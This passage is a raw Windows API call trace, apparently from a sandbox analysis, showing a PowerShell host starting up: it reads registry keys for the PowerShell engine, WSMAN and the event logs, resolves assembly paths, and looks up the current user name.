[5]=0x17, [6]=0xa6, [7]=0x47))) returned 0x0 [0113.657] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x233be676, Data2=0xb187, Data3=0x4e14, Data4=([0]=0xbf, [1]=0xed, [2]=0x8e, [3]=0x3c, [4]=0xe1, [5]=0x70, [6]=0x6a, [7]=0xe8))) returned 0x0 [0113.657] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x12ceeb6b, Data2=0x8179, Data3=0x404a, Data4=([0]=0xad, [1]=0xb7, [2]=0xfa, [3]=0xa6, [4]=0xb2, [5]=0x90, [6]=0x48, [7]=0x39))) returned 0x0 [0113.657] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xd0d5da93, Data2=0x89d7, Data3=0x4976, Data4=([0]=0x9f, [1]=0xe6, [2]=0x3a, [3]=0x75, [4]=0x68, [5]=0xa0, [6]=0xcf, [7]=0x3b))) returned 0x0 [0113.661] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acd88 | out: phkResult=0x1acd88*=0x30c) returned 0x0 [0113.661] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1acd0c, lpData=0x0, lpcbData=0x1acd08*=0x0 | out: lpType=0x1acd0c*=0x1, lpData=0x0, lpcbData=0x1acd08*=0x56) returned 0x0 [0113.661] CoTaskMemAlloc (cb=0x5a) returned 0x2878c50 [0113.661] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1accdc, lpData=0x2878c50, lpcbData=0x1accd8*=0x56 | out: lpType=0x1accdc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1accd8*=0x56) returned 0x0 [0113.661] CoTaskMemFree (pv=0x2878c50) [0113.661] RegCloseKey (hKey=0x30c) returned 0x0 [0113.661] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ac9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0113.662] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xd2ff25fa, Data2=0xc4d8, Data3=0x4c03, Data4=([0]=0x9b, [1]=0xcc, [2]=0x5b, [3]=0x0, [4]=0x49, [5]=0x40, [6]=0x23, [7]=0x2a))) returned 0x0 [0113.662] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xfeb00a59, Data2=0x68f5, Data3=0x48bf, Data4=([0]=0xb6, [1]=0x22, [2]=0x9b, [3]=0x10, [4]=0x4b, [5]=0x7d, [6]=0x60, [7]=0x55))) returned 0x0 [0113.665] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acd88 | out: phkResult=0x1acd88*=0x30c) returned 0x0 [0113.665] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1acd0c, lpData=0x0, lpcbData=0x1acd08*=0x0 | out: lpType=0x1acd0c*=0x1, lpData=0x0, lpcbData=0x1acd08*=0x56) returned 0x0 [0113.665] CoTaskMemAlloc (cb=0x5a) returned 0x2878c50 [0113.665] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1accdc, lpData=0x2878c50, lpcbData=0x1accd8*=0x56 | out: lpType=0x1accdc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1accd8*=0x56) returned 0x0 [0113.665] CoTaskMemFree (pv=0x2878c50) [0113.666] RegCloseKey (hKey=0x30c) returned 0x0 [0113.666] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ac9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0113.666] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x6bd3b46b, Data2=0xc0e0, Data3=0x4634, Data4=([0]=0x83, [1]=0x4a, [2]=0x52, [3]=0x54, [4]=0xeb, [5]=0xd4, [6]=0x97, [7]=0x5f))) returned 0x0 [0113.667] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x6d7d92f, Data2=0xa7f0, Data3=0x4169, Data4=([0]=0x91, [1]=0x97, [2]=0x9f, [3]=0xd4, [4]=0x98, [5]=0x3f, [6]=0x3a, [7]=0xe4))) returned 0x0 [0113.697] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x1acd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0113.697] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x1acd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0113.722] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1acd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0113.723] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1acd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0113.739] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1acd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0113.740] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1acd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0113.767] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x1acd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0113.768] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x1acd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0113.823] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0113.824] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.824] CoTaskMemFree (pv=0x358a80) [0113.825] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0113.825] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.825] CoTaskMemFree (pv=0x358a80) [0113.826] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0113.826] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.826] CoTaskMemFree (pv=0x358a80) [0113.827] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0113.827] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.827] CoTaskMemFree (pv=0x358a80) [0113.837] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0113.837] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.837] CoTaskMemFree (pv=0x358a80) [0113.840] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0113.840] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.840] CoTaskMemFree (pv=0x358a80) [0113.841] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0113.841] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.841] CoTaskMemFree (pv=0x358a80) [0113.846] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf98 | out: phkResult=0x1acf98*=0x30c) returned 0x0 [0113.848] RegQueryInfoKeyW (in: hKey=0x30c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x1ace9c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1ace98, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x1ace9c*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1ace98*=0x3, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0113.848] CoTaskMemFree (pv=0x0) [0113.849] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0113.849] RegEnumValueW (in: hKey=0x30c, dwIndex=0x0, lpValueName=0x385950, lpcchValueName=0x1acf48, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x1acf48, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0113.849] CoTaskMemFree (pv=0x385950) [0113.849] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0113.849] RegEnumValueW (in: hKey=0x30c, dwIndex=0x1, lpValueName=0x385950, lpcchValueName=0x1acf48, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x1acf48, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0113.849] CoTaskMemFree (pv=0x385950) [0113.849] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0113.849] RegEnumValueW (in: hKey=0x30c, dwIndex=0x2, lpValueName=0x385950, lpcchValueName=0x1acf48, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="UpdatedConfig", lpcchValueName=0x1acf48, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0113.849] CoTaskMemFree (pv=0x385950) [0113.849] RegQueryValueExW (in: hKey=0x30c, lpValueName="StackVersion", lpReserved=0x0, lpType=0x1acf2c, lpData=0x0, lpcbData=0x1acf28*=0x0 | out: lpType=0x1acf2c*=0x1, lpData=0x0, lpcbData=0x1acf28*=0x8) returned 0x0 [0113.849] CoTaskMemAlloc (cb=0xc) returned 0x28a1c20 [0113.849] RegQueryValueExW (in: hKey=0x30c, lpValueName="StackVersion", lpReserved=0x0, lpType=0x1acefc, lpData=0x28a1c20, lpcbData=0x1acef8*=0x8 | out: lpType=0x1acefc*=0x1, lpData="2.0", lpcbData=0x1acef8*=0x8) returned 0x0 [0113.849] CoTaskMemFree (pv=0x28a1c20) [0113.896] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acee8 | out: phkResult=0x1acee8*=0x310) returned 0x0 [0113.896] RegQueryInfoKeyW (in: hKey=0x310, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x1acdec, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1acde8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x1acdec*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1acde8*=0x3, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0113.896] CoTaskMemFree (pv=0x0) [0113.896] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0113.896] RegEnumValueW (in: hKey=0x310, dwIndex=0x0, lpValueName=0x385950, lpcchValueName=0x1ace98, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x1ace98, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0113.896] CoTaskMemFree (pv=0x385950) [0113.896] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0113.896] RegEnumValueW (in: hKey=0x310, dwIndex=0x1, lpValueName=0x385950, lpcchValueName=0x1ace98, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x1ace98, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0113.896] CoTaskMemFree (pv=0x385950) [0113.896] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0113.896] RegEnumValueW (in: hKey=0x310, dwIndex=0x2, lpValueName=0x385950, lpcchValueName=0x1ace98, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="UpdatedConfig", lpcchValueName=0x1ace98, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0113.896] CoTaskMemFree (pv=0x385950) [0113.896] RegQueryValueExW (in: hKey=0x310, lpValueName="StackVersion", lpReserved=0x0, lpType=0x1ace7c, lpData=0x0, lpcbData=0x1ace78*=0x0 | out: lpType=0x1ace7c*=0x1, lpData=0x0, lpcbData=0x1ace78*=0x8) returned 0x0 [0113.897] CoTaskMemAlloc (cb=0xc) returned 0x28a1a80 [0113.897] RegQueryValueExW (in: hKey=0x310, lpValueName="StackVersion", lpReserved=0x0, lpType=0x1ace4c, lpData=0x28a1a80, lpcbData=0x1ace48*=0x8 | out: lpType=0x1ace4c*=0x1, lpData="2.0", lpcbData=0x1ace48*=0x8) returned 0x0 [0113.897] CoTaskMemFree (pv=0x28a1a80) [0113.898] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0113.898] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.898] CoTaskMemFree (pv=0x358a80) [0113.921] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0113.921] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.921] CoTaskMemFree (pv=0x358a80) [0113.931] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf18 | out: phkResult=0x1acf18*=0x314) returned 0x0 [0113.933] RegQueryInfoKeyW (in: hKey=0x314, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x1ace8c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1ace88, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x1ace8c*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1ace88*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0113.933] CoTaskMemFree (pv=0x0) [0113.934] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0113.934] RegEnumKeyExW (in: hKey=0x314, dwIndex=0x0, lpName=0x385950, lpcchName=0x1acf18, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x1acf18, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0113.934] CoTaskMemFree (pv=0x385950) [0113.934] CoTaskMemFree (pv=0x0) [0113.934] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0113.934] RegEnumKeyExW (in: hKey=0x314, dwIndex=0x1, lpName=0x385950, lpcchName=0x1acf18, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x1acf18, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0113.934] CoTaskMemFree (pv=0x385950) [0113.934] CoTaskMemFree (pv=0x0) [0113.934] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0113.934] RegEnumKeyExW (in: hKey=0x314, dwIndex=0x2, lpName=0x385950, lpcchName=0x1acf18, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x1acf18, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0113.934] CoTaskMemFree (pv=0x385950) [0113.934] CoTaskMemFree (pv=0x0) [0113.934] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0113.934] RegEnumKeyExW (in: hKey=0x314, dwIndex=0x3, lpName=0x385950, lpcchName=0x1acf18, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x1acf18, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0113.934] CoTaskMemFree (pv=0x385950) [0113.934] CoTaskMemFree (pv=0x0) [0113.935] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0113.935] RegEnumKeyExW (in: hKey=0x314, dwIndex=0x4, lpName=0x385950, lpcchName=0x1acf18, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x1acf18, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0113.935] CoTaskMemFree (pv=0x385950) [0113.935] CoTaskMemFree (pv=0x0) [0113.935] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0113.935] RegEnumKeyExW (in: hKey=0x314, dwIndex=0x5, lpName=0x385950, lpcchName=0x1acf18, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x1acf18, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0113.935] CoTaskMemFree (pv=0x385950) [0113.935] CoTaskMemFree (pv=0x0) [0113.935] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0113.935] RegEnumKeyExW (in: hKey=0x314, dwIndex=0x6, lpName=0x385950, lpcchName=0x1acf18, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x1acf18, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0113.935] CoTaskMemFree (pv=0x385950) [0113.935] CoTaskMemFree (pv=0x0) [0113.935] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0113.935] RegEnumKeyExW (in: hKey=0x314, dwIndex=0x7, lpName=0x385950, lpcchName=0x1acf18, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x1acf18, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0113.935] CoTaskMemFree (pv=0x385950) [0113.935] CoTaskMemFree (pv=0x0) [0113.935] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0113.935] RegEnumKeyExW (in: hKey=0x314, dwIndex=0x8, lpName=0x385950, lpcchName=0x1acf18, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x1acf18, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0113.935] CoTaskMemFree (pv=0x385950) [0113.935] CoTaskMemFree (pv=0x0) [0113.935] RegOpenKeyExW (in: hKey=0x314, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf78 | out: phkResult=0x1acf78*=0x328) returned 0x0 [0113.936] RegOpenKeyExW (in: hKey=0x328, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf78 | out: phkResult=0x1acf78*=0x0) returned 0x2 [0113.936] RegOpenKeyExW (in: hKey=0x314, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf78 | out: phkResult=0x1acf78*=0x33c) returned 0x0 [0113.936] RegOpenKeyExW (in: hKey=0x33c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf78 | out: phkResult=0x1acf78*=0x0) returned 0x2 [0113.936] RegOpenKeyExW (in: hKey=0x314, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf78 | out: phkResult=0x1acf78*=0x340) returned 0x0 [0113.936] RegOpenKeyExW (in: hKey=0x340, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf78 | out: phkResult=0x1acf78*=0x0) returned 0x2 [0113.936] RegOpenKeyExW (in: hKey=0x314, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf78 | out: phkResult=0x1acf78*=0x344) returned 0x0 [0113.936] RegOpenKeyExW (in: hKey=0x344, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf78 | out: phkResult=0x1acf78*=0x0) returned 0x2 [0113.936] RegOpenKeyExW (in: hKey=0x314, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf78 | out: phkResult=0x1acf78*=0x348) returned 0x0 [0113.937] RegOpenKeyExW (in: hKey=0x348, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf78 | out: phkResult=0x1acf78*=0x0) returned 0x2 [0113.937] RegOpenKeyExW (in: hKey=0x314, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf78 | out: phkResult=0x1acf78*=0x34c) returned 0x0 [0113.937] RegOpenKeyExW (in: hKey=0x34c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf78 | out: phkResult=0x1acf78*=0x0) returned 0x2 [0113.937] RegOpenKeyExW (in: hKey=0x314, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf78 | out: phkResult=0x1acf78*=0x0) returned 0x5 [0113.949] RegOpenKeyExW (in: hKey=0x314, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf78 | out: phkResult=0x1acf78*=0x350) returned 0x0 [0113.949] RegOpenKeyExW (in: hKey=0x350, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf78 | out: phkResult=0x1acf78*=0x0) returned 0x2 [0113.950] RegOpenKeyExW (in: hKey=0x314, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf78 | out: phkResult=0x1acf78*=0x354) returned 0x0 [0113.950] RegOpenKeyExW (in: hKey=0x354, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf78 | out: phkResult=0x1acf78*=0x358) returned 0x0 [0113.950] RegCloseKey (hKey=0x358) returned 0x0 [0113.950] RegCloseKey (hKey=0x314) returned 0x0 [0113.950] RegCloseKey (hKey=0x354) returned 0x0 [0113.966] CoTaskMemAlloc (cb=0x804) returned 0x2c1590 [0113.966] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2c1590, nSize=0x1ad188 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x1ad188) returned 0x1 [0113.967] CoTaskMemFree (pv=0x2c1590) [0113.969] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0113.969] GetUserNameW (in: lpBuffer=0x385950, pcbBuffer=0x1ad1c8 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1ad1c8) returned 1 [0113.969] CoTaskMemFree (pv=0x385950) [0114.035] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acec8 | out: phkResult=0x1acec8*=0x35c) returned 0x0 [0114.035] RegQueryInfoKeyW (in: hKey=0x35c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x1ace3c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1ace38, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x1ace3c*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1ace38*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.035] CoTaskMemFree (pv=0x0) [0114.035] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.035] RegEnumKeyExW (in: hKey=0x35c, dwIndex=0x0, lpName=0x385950, lpcchName=0x1acec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x1acec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.035] CoTaskMemFree (pv=0x385950) [0114.035] CoTaskMemFree (pv=0x0) [0114.035] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.035] RegEnumKeyExW (in: hKey=0x35c, dwIndex=0x1, lpName=0x385950, lpcchName=0x1acec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x1acec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.035] CoTaskMemFree (pv=0x385950) [0114.035] CoTaskMemFree (pv=0x0) [0114.035] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.035] RegEnumKeyExW (in: hKey=0x35c, dwIndex=0x2, lpName=0x385950, lpcchName=0x1acec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x1acec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.035] CoTaskMemFree (pv=0x385950) [0114.035] CoTaskMemFree (pv=0x0) [0114.035] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.035] 